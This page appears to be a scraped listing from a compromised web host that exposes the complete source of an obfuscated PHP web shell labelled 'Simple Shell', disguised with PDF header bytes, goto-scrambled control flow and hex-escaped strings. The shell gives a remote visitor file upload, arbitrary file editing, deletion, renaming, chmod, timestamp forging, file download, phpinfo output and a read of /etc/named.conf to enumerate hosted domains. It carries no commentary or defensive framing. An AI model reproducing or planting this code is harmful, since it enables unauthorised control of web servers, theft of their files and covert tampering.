PATH:
home
/
carfac
/
var
<?php goto hFo0e; Vl52d: pqiyD: goto DGydP; diag9: goto r24J9; goto CFlrb; vBPHA: if (isset($_GET["\146\x69\154\x65"])) { if (isset($_POST["\x65\x64\x69\x74"])) { if (@file_put_contents($_GET["\x66\151\x6c\x65"], $_POST["\x65\x64\151\x74"])) { echo "\74\x73\x70\141\156\40\x63\154\x61\163\x73\x3d\x22\163\165\143\143\145\163\163\42\76\x45\104\x49\124\x20\123\x55\103\103\x45\x53\123\41\x3c\x2f\163\x70\x61\156\x3e"; } else { echo "\74\163\160\x61\156\40\143\154\x61\x73\163\x3d\42\x66\141\151\154\x65\144\x22\x3e\105\104\111\124\40\106\x41\111\x4c\x45\104\x21\74\x2f\x73\x70\141\x6e\76"; } } echo "\74\146\x6f\x72\155\x20\141\143\x74\x69\x6f\x6e\75\42\x3f\146\151\x6c\x65\75" . e($_GET["\146\x69\154\145"]) . "\46" . $edir . "\42\40\155\x65\164\x68\x6f\x64\x3d\x22\x70\157\163\x74\x22\x20\157\x6e\x73\x75\x62\155\151\164\x3d\42\145\144\x69\x74\x2e\166\x61\154\x75\x65\75\x65\50\145\x64\151\164\56\x76\x61\154\x75\145\51\42\x3e\x3c\x74\145\x78\x74\x61\162\x65\x61\40\x69\x64\75\x22\145\144\x69\164\42\40\156\x61\x6d\145\x3d\42\x65\144\x69\x74\42\76" . htmlspecialchars(file_get_contents($_GET["\146\x69\154\145"]), ENT_QUOTES | ENT_SUBSTITUTE | ENT_COMPAT, "\125\x54\x46\55\x38") . "\74\x2f\x74\145\x78\x74\x61\x72\x65\x61\76\x3c\142\x75\x74\x74\157\156\76\125\160\144\x61\x74\x65\x3c\x2f\142\x75\x74\x74\157\x6e\x3e\x3c\x2f\146\x6f\x72\x6d\76"; } goto YvO0X; rFQbW: echo $dir; goto acxZe; yXjv1: goto C0qOT; goto Dic0p; wGK2L: empFZ: goto TbCJq; vIR3H: goto g2qMS; goto O3Qd2; eYrHM: echo gethostbyname($_SERVER["\x48\124\124\x50\137\110\x4f\123\x54"]) . "\x20\x2f\40" . $_SERVER["\123\x45\122\126\105\x52\137\116\x41\115\x45"]; goto cu4lU; KQ3rL: P5gEt: goto I_l4k; SHnI0: $dir = realpath(isset($_GET["\x64\151\162"]) ? $_GET["\x64\x69\162"] : __DIR__); goto JQQFu; hFo0e: goto WgQpP; goto oA_cW; JErC8: function size($path, $decimals = 0) { $bytes = filesize($path); $factor = floor((strlen($bytes) - 1) / 3); if ($factor > 0) { $sz = "\x4b\115\x47\124"; } return sprintf("\45\x2e{$decimals}\x66", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . "\x42"; } goto OVzmk; i3LX0: goto UjJ63; goto narUF; bU2is: WXToe: goto eYrHM; SGlRa: kA5EL: goto Mpu07; NPVQ3: ?> ">[Root Path]</a><a href="?dir=<?php goto IX3N6; BWEFf: Zm55y: goto MFPEQ; Z1RIF: xmRHO: goto rFQbW; xZeVj: goto i1UN1; goto SGlRa; E7Ltx: ?> "name="file"type="file"><button type="submit">Upload</button></form><center><?php goto CWw_E; PiMr3: WgQpP: goto nwtJC; IX3N6: goto n0x9t; goto fqFBU; LUcpn: function symlinkDomain($dom) { $d0mains = @file("\57\145\164\x63\x2f\x6e\141\155\x65\144\x2e\x63\x6f\x6e\x66", false); if (!$d0mains) { $dom = "\74\146\157\x6e\x74\40\x63\x6f\x6c\157\162\75\x72\145\x64\x20\163\151\x7a\145\75\63\160\x78\76\x43\141\156\164\x20\x52\x65\141\x64\x20\x5b\x20\57\x65\x74\x63\x2f\x6e\x61\x6d\145\144\x2e\143\157\156\146\x20\x5d\x3c\x2f\x66\x6f\156\x74\76"; $GLOBALS["\156\x65\x65\x64\137\164\157\137\165\x70\x64\x61\164\x65\x5f\150\x65\x61\144\x65\162"] = "\164\x72\165\x65"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@strstr($d0main, "\x7a\x6f\x6e\145")) { preg_match_all("\x23\x7a\x6f\x6e\145\40\42\x28\x2e\52\51\42\43", $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } $dom = "{$count}\x20\104\157\155\x61\151\156"; } return $dom; } goto UfWj4; l2FO0: goto bFMVa; goto tQM3v; XqAKM: mkxP9: goto uRqiy; HWEcD: goto EdLEN; goto NEWUH; EmRwH: foreach ($_GET as $k => $v) { $_GET[$k] = d($v); } goto D9ac3; IHCXE: goto Q7uNI; goto asYhk; vQ0kp: goto L2yGh; goto zfHyq; L7J_9: ma2Aj: goto TlzYA; oA_cW: Q7uNI: goto EmRwH; ip0oD: echo is_writable($dir) ? "\x77\162\x69\164\141\142\154\x65" : "\x6e\x6f\x74\x77\162\151\x74\141\x62\154\145"; goto Hm003; xQECF: goto empFZ; goto LgmiM; a5041: goto xmRHO; goto YLcXi; PId0b: if (isset($_GET["\x64\x6c"])) { if (!realpath($_GET["\144\x6c"])) { die; } header("\x43\157\156\164\145\x6e\164\x2d\x44\145\163\x63\162\151\160\x74\151\x6f\x6e\x3a\x20\106\x69\x6c\145\40\x54\x72\141\156\x73\146\x65\x72"); header("\103\157\x6e\164\x65\x6e\x74\55\124\x79\160\x65\72\x20\x61\x70\160\x6c\151\143\141\x74\151\x6f\156\x2f\x6f\143\164\145\164\x2d\x73\164\x72\145\x61\155"); header("\x43\x6f\x6e\164\145\x6e\x74\x2d\x44\151\163\x70\157\x73\151\x74\151\x6f\x6e\x3a\40\x61\164\x74\141\x63\x68\155\x65\x6e\x74\73\x20\x66\151\154\x65\156\x61\x6d\x65\x3d\x22" . basename($_POST["\x64\x6c"]) . "\x22"); readfile($_GET["\x64\x6c"]); die; } goto VL0x7; zYp1N: goto C8wlP; goto oFCnH; Mpu07: if (isset($_GET["\x72\145\156\141\x6d\145"], $_GET["\156\145\x77"])) { if (rename($_GET["\x72\x65\x6e\x61\x6d\x65"], $dir . "\x2f" . basename($_GET["\156\145\x77"]))) { echo "\x3c\x73\x70\141\156\x20\x63\154\141\x73\163\75\x22\163\x75\143\143\145\x73\x73\42\x3e\x52\x45\116\101\x4d\105\40\x53\x55\103\103\105\123\x53\x21\74\x2f\x73\160\x61\x6e\x3e"; } else { echo "\x3c\163\x70\141\x6e\x20\x63\154\141\x73\163\75\x22\146\x61\151\154\x65\x64\42\x3e\x52\105\116\101\x4d\x45\x20\106\x41\x49\x4c\105\104\x21\x3c\x2f\163\x70\x61\x6e\76"; } } goto vQ0kp; e8hw7: error_reporting(0); goto gyNXR; NEWUH: VF_NF: goto kEaX7; mbCsH: goto n3Wtg; goto UzpZw; aNwkf: echo $_SERVER["\122\x45\115\x4f\124\105\137\x41\x44\104\x52"]; goto l2FO0; CWw_E: goto P5gEt; goto vmpZN; WTwPL: function perms($path) { clearstatcache(); $perms = fileperms($path); $x = array("\125", "\x70", "\x63", "\125", "\x64", "\x55", "\142", "\x55", "\x72", "\x55", "\154", "\x55", "\x73", "\x55", "\x55", "\x55"); $info = $x[$perms >> 12] . implode('', array_map(function ($b, $m) { return $b == "\61" ? $m : "\x2d"; }, str_split(decbin($perms & 4095) . ''), str_split("\x72\167\x78\162\x77\170\x72\167\x78"))); return $info . "\x20" . substr(sprintf("\45\157", @fileperms($path)), -4); } goto WKcaf; m13jQ: goto nwNKM; goto Qmuvh; Day2P: goto K2JFo; goto Z1yYN; Hm003: goto GoStv; goto Sy3d0; csMkk: ?> <br><form action="?<?php goto yXjv1; sSy5w: goto x8GLr; goto Wr54f; JQQFu: goto JK8dg; goto oyX3_; Ol2vF: G78j1: goto du6N7; disQK: goto WXToe; goto L7J_9; FLnrQ: ?> "enctype="multipart/form-data"method="post"><input class="<?php goto KbpDg; kcbI2: ?> DOMAIN ON SERVER :<?php goto xQECF; I_l4k: if (isset($_FILES["\x66\151\x6c\145"])) { if (move_uploaded_file($_FILES["\146\151\154\x65"]["\164\155\160\x5f\156\141\155\x65"], basename($_FILES["\x66\x69\154\x65"]["\x6e\x61\x6d\x65"]))) { echo "\74\x73\x70\141\156\40\x63\154\x61\x73\x73\x3d\x22\163\x75\x63\143\145\x73\163\x22\76\125\120\x4c\117\101\104\x20\x53\125\x43\103\105\x53\x53\41\x3c\57\x73\x70\141\156\76"; } else { echo "\x3c\x73\160\x61\x6e\40\x63\x6c\141\163\163\x3d\42\x66\141\151\154\x65\x64\42\x3e\125\x50\114\117\x41\104\40\x46\x41\x49\x4c\105\x44\41\x3c\x2f\x73\160\x61\156\x3e"; } } goto HgtXx; cX9Ea: $dir = $dir ? $dir : __DIR__; goto DjHcl; OVzmk: goto xONan; goto ZIBo2; ar7uW: ?> <br>SERVER IP:<?php goto disQK; pSlk1: goto NpFik; goto CV3Ew; IATQn: tEFx3: goto PId0b; VL0x7: goto ORsL3; goto vZSMj; Qmuvh: r24J9: goto FLnrQ; uRqiy: ?> <br><?php goto i3LX0; kscsH: goto qhlbJ; goto tpjdV; BAn8X: if (isset($_GET["\151\156\x66\157"]) && $_GET["\151\156\x66\157"] === "\151\x6e\x66\x6f") { phpinfo(); die; } goto IHCXE; rVKIp: echo e(realpath(__DIR__)); goto m13jQ; NDxUy: goto U_Cj1; goto Z1RIF; vmpZN: nwNKM: goto AA3x9; YvO0X: goto vXye3; goto peoI_; pMWwT: foreach (scandir($dir) as $p) { if (is_dir($dir . "\x2f" . $p)) { if ($p != "\56") { $dirs[] = $dir . "\57" . $p; } } else { $files[] = $dir . "\x2f" . $p; } } goto Day2P; Wr54f: e8kIB: goto kcbI2; gyNXR: goto PP0cX; goto bU2is; zfHyq: UjJ63: goto LUcpn; T5lU1: echo $edir; goto diag9; its8N: bxhI2: goto SHnI0; peoI_: i1UN1: goto JftHq; OjrIE: ?> <br><a href="?info=info"class="btn"target="__blank">SERVER INFO</a>:<?php goto T3U39; Lty0K: goto uSYV0; goto Irzow; nwtJC: ?> %PDF- %PDF-<?php goto vIR3H; ZIBo2: x8GLr: goto kFYB7; bBOAJ: goto bwJ2p; goto KMswb; kEaX7: chdir($dir); goto GZMYY; TlzYA: echo php_uname(); goto NDxUy; oFCnH: mevDp: goto BAn8X; lj6pP: $edir = "\x64\151\162\x3d" . e($dir); goto flz_N; BWF5T: if (isset($_GET["\144\x65\x6c\145\x74\x65"])) { $x = str_replace("\130", '', "\x58\165\130\x6e\130\x6c\x58\151\130\x6e\130\153\130"); if ($x($_GET["\x64\145\x6c\x65\x74\145"])) { echo "\x3c\x73\x70\141\156\40\143\x6c\141\x73\163\x3d\42\163\x75\143\143\x65\x73\x73\42\76\x44\105\114\x45\124\105\40\x53\125\103\x43\x45\123\x53\41\x3c\x2f\x73\160\x61\156\76"; } else { echo "\x3c\163\x70\141\156\x20\x63\x6c\x61\x73\163\x3d\x22\x66\141\151\x6c\x65\x64\x22\x3e\x44\105\x4c\x45\x54\x45\x20\106\101\x49\114\105\104\x21\x3c\x2f\x73\x70\x61\x6e\x3e"; } } goto xZeVj; Dic0p: Lbzv4: goto TMrZ8; YkDdC: C0qOT: goto T5lU1; WKcaf: goto pqiyD; goto Vl52d; Sy3d0: bwJ2p: goto wtv8V; UfWj4: goto e8kIB; goto wGK2L; p6yJ7: Q4ubW: goto OjrIE; vZSMj: U_Cj1: goto csMkk; EPszX: echo e(realpath($_SERVER["\x44\117\103\125\115\105\x4e\x54\137\x52\117\117\x54"])); goto J9Wq5; AA3x9: ?> ">[Shell Path]</a></form><table><tr><th></th><th>SIZE</th><th>Modified Date</th><th>PERMS</th><th>ACTION</th></tr><?php goto sSy5w; kFYB7: foreach (array_merge($dirs, $files) as $path) { $d = is_dir($path); $w = is_writable($path); ?> <tr><td class="<?php echo ($d ? "\x64\x69\162\x65\143\164\x6f\162\x79" : "\146\x69\x6c\145") . "\x20" . ($w ? "\x77\x72\x69\164\x61\x62\x6c\x65" : "\156\x6f\164\x77\162\151\164\141\142\154\x65"); ?> "><a href="?<?php echo $d ? "\x64\x69\162\75" . e($path) . '' : "\146\x69\154\145\x3d" . e($path) . "\46" . $edir; ?> "><?php echo htmlspecialchars(basename($path)); ?> </a><?php echo is_link($path) ? "\x3c\163\160\141\156\x20\143\x6c\141\163\163\75\42\163\x79\x6d\154\151\x6e\x6b\42\76" . readlink($path) . "\x3c\x2f\x73\x70\141\156\76" : ''; ?> </td><td><?php echo $d ? "\x2d\55\55" : size($path); ?> </td><td><a href="?chtime=<?php echo e($path) . "\46" . $edir; ?> "class="btn"onclick='return chtime(this,"<?php $chtime = date("\115\55\144\55\131\x20\110\x3a\151\72\163", filemtime($path)); echo $chtime; ?> ")'><?php echo $chtime; ?> </a></td><td><a href="?chmod=<?php echo e($path) . "\x26" . $edir; ?> "class="btn"onclick='return chmod(this,"<?php echo substr(sprintf("\45\157", @fileperms($path)), -4); ?> ")'><?php echo perms($path); ?> </a></td><td><?php if (basename($path) !== "\x2e\56") { ?> <a href="?delete=<?php echo e($path) . "\x26" . $edir; ?> "class="btn icon delete"onclick='return confirm("Sure to delete?")'title="Delete"></a><a href="?rename=<?php echo e($path) . "\46" . $edir; ?> "class="btn icon rename"onclick='return rename(this,"<?php echo basename($path); ?> ")'title="Rename"></a><?php if (!$d) { echo "\74\x61\x20\x74\x69\164\154\x65\75\42\104\x6f\167\x6e\154\x6f\141\x64\x22\40\143\x6c\x61\163\x73\x3d\42\142\x74\x6e\40\x69\x63\157\x6e\x20\x64\x6f\x77\156\154\x6f\141\x64\42\40\x68\162\x65\x66\75\x22\x3f\x64\x6c\75" . e($path) . "\x22\76\74\57\141\76"; } } ?> </td></tr><?php } goto zYp1N; D9ac3: goto y4vgr; goto kFKuz; n4Jnk: PP0cX: goto IAq63; UzpZw: DlgBF: goto lj6pP; O3Qd2: DnoB1: goto ip0oD; HgtXx: goto yhOKu; goto PiMr3; PAhjj: goto baeBM; goto its8N; CFlrb: JK8dg: goto cX9Ea; OrJAi: $dirs = array(); goto MbvJv; C0z5G: goto G78j1; goto YbxjV; SX944: ?> "name="dir"id="dir"style="width:500px"value="<?php goto a5041; IAq63: function e($s) { return base64_encode($s); } goto kscsH; Uuy6S: foreach ($_POST as $k => $v) { $_POST[$k] = d($v); } goto ZIXEC; vqa13: g2qMS: goto HbkzD; Irzow: xONan: goto WTwPL; J9Wq5: goto HYF8q; goto vqa13; fqFBU: ORsL3: goto JErC8; YbxjV: NpFik: goto EPszX; xeXvn: goto LRFn1; goto p6yJ7; cu4lU: goto mkxP9; goto Ol2vF; YLcXi: uSYV0: goto e8hw7; LgmiM: bFMVa: goto ar7uW; P4PAo: goto N1KOe; goto yGHBj; AdG76: HYF8q: goto NPVQ3; acxZe: goto Zm55y; goto m1MwV; T3U39: goto ma2Aj; goto n4Jnk; TbCJq: echo symlinkDomain($dom); goto oRr1E; QPlsu: qhlbJ: goto SE5qM; asYhk: GoStv: goto E7Ltx; m1MwV: baeBM: goto aNwkf; SE5qM: function d($s) { return base64_decode($s); } goto w0U0L; ZIXEC: goto bxhI2; goto AdG76; HbkzD: ini_set("\144\x69\x73\x70\154\141\171\137\x65\162\x72\157\x72\x73", 1); goto bBOAJ; MbvJv: goto Lbzv4; goto YkDdC; DjHcl: goto VF_NF; goto XqAKM; w0U0L: goto mevDp; goto xm6UQ; narUF: n3Wtg: goto pMWwT; GZMYY: goto DlgBF; goto BWEFf; xm6UQ: C8wlP: goto Zf52B; MFPEQ: ?> "><button>GO</button><a href="?dir=<?php goto pSlk1; oRr1E: goto Q4ubW; goto IATQn; LFGkv: if (isset($_GET["\143\x68\x74\x69\155\145"], $_GET["\156\145\x77"])) { if (touch($_GET["\x63\150\x74\x69\x6d\145"], intval(strtotime($_GET["\156\x65\x77"])))) { echo "\x3c\x73\x70\141\156\40\143\x6c\x61\163\x73\75\42\163\165\143\143\145\x73\x73\42\76\x54\111\115\x45\40\115\x41\x43\110\111\x4e\105\x20\x53\x55\x43\x43\105\123\x53\41\74\x2f\163\160\141\156\76"; } else { echo "\x3c\163\160\x61\156\x20\x63\x6c\x61\163\163\x3d\42\x66\x61\151\x6c\x65\x64\42\76\124\x49\x4d\105\40\115\x41\x43\x48\x49\116\x45\40\106\101\111\114\105\104\x21\74\x2f\x73\x70\x61\156\76"; } } goto bjsl5; KMswb: y4vgr: goto Uuy6S; OLNfo: ?> </center><form onsubmit="dir.value=e(dir.value)">Directory: <input class="<?php goto xeXvn; KbpDg: goto DnoB1; goto QPlsu; tpjdV: yhOKu: goto vBPHA; Z1yYN: n0x9t: goto rVKIp; tQM3v: N1KOe: goto SX944; JftHq: if (isset($_GET["\143\x68\x6d\x6f\x64"], $_GET["\x6e\x65\167"])) { if (chmod($_GET["\143\x68\x6d\157\144"], intval($_GET["\x6e\x65\x77"], 8))) { echo "\x3c\x73\x70\141\x6e\x20\x63\154\x61\x73\x73\75\42\x73\165\143\143\x65\x73\x73\42\x3e\x43\110\x4d\117\x44\x20\x53\x55\103\103\105\x53\x53\41\x3c\x2f\163\x70\141\x6e\76"; } else { echo "\x3c\163\x70\141\156\x20\143\x6c\x61\x73\163\x3d\x22\x66\141\151\154\x65\144\42\x3e\x43\110\x4d\x4f\x44\40\106\x41\111\114\105\104\41\x3c\57\163\160\141\x6e\76"; } } goto HWEcD; LyTpi: L2yGh: goto OrJAi; wtv8V: ini_set("\x64\151\x73\160\154\141\x79\137\163\x74\x61\162\x74\x75\x70\137\x65\x72\162\157\x72\163", 1); goto Lty0K; oyX3_: vXye3: goto BWF5T; CV3Ew: LRFn1: goto rvNbx; TMrZ8: $files = array(); goto mbCsH; rvNbx: echo is_writable($dir) ? "\x77\162\151\164\141\142\x6c\x65" : "\x6e\157\164\x77\162\x69\x74\x61\x62\154\x65"; goto P4PAo; DGydP: if (!function_exists("\x70\x6f\x73\151\x78\x5f\147\x65\x74\x70\x77\165\151\x64") && !extension_loaded("\x70\x6f\163\151\x78")) { function posix_getpwuid($x) { return array("\156\x61\x6d\145" => "\55\55\x2d"); } } goto C0z5G; kFKuz: K2JFo: goto OLNfo; du6N7: ?> <!doctypehtml><html><head><meta content="width=device-width,initial-scale=0.5,user-scalable=yes"name="viewport"><title>Simple Shell</title><style>body,button,html,input{background:#000;color:gray;font-family:monospace}a{color:gray;text-decoration:none}button,input{border:1px solid gray;height:1.7em}table{width:100%;border:1px dotted gray;border-spacing:0}tr:hover{background:#161616}td,th{padding:2px 0;border:1px solid #666}textarea{width:80%;height:50vh;background:#000;color:green;tab-size:4}.btn{border:1px solid #666;border-radius:.3em;padding:0 .3em;display:inline-block;text-align:center}.btn:hover{border-color:#fff;background-color:#000;transition:background-color .2s linear}.directory{background:#444654}.directory:before{content:"DIR/";color:gray}.file{background:#343641}.file:before{content:"-";color:gray}.notwritable,.notwritable a{color:#ff7800}.writable,.writable a{color:#49ff00}.symlink{float:right;color:#e2c275}.icon{font-size:1.5em;padding:.1em .2em;margin:0}.delete:before{content:"\1F6AE";opacity:.7}.rename:before{content:"\270D";color:#00f}.download:before{content:"\2193\2193";color:green}.openlink:before{content:"\1F517"}.success{color:#ff0}.success:before{content:"\270C"}.failed{color:red}.failed:before{content:"\2622"}</style><script>function e(e){return btoa(e)}function chmod(n,r){var t=prompt("CHMOD:",r);return!!t&&(n.href+="&new="+e(t),!0)}function chtime(n,r){var t=prompt("Change modified time:",r);return!!t&&(n.href+="&new="+e(t),!0)}function rename(n,r){var t=prompt("Rename:",r);return!!t&&(n.href+="&new="+e(t),!0)}</script></head><body>YOUR IP:<?php goto PAhjj; bjsl5: goto kA5EL; goto KQ3rL; flz_N: goto tEFx3; goto LyTpi; yGHBj: EdLEN: goto LFGkv; Zf52B: ?> </table>Modified By #No_Identity :: <a href="https://github.com/yon3zu">github.com/yon3zu</a> - <a href="https://linuxploit.com/">linuxploit.com</a></body></html>
[-] 222.php
[edit]
[+]
cpanel
[+]
..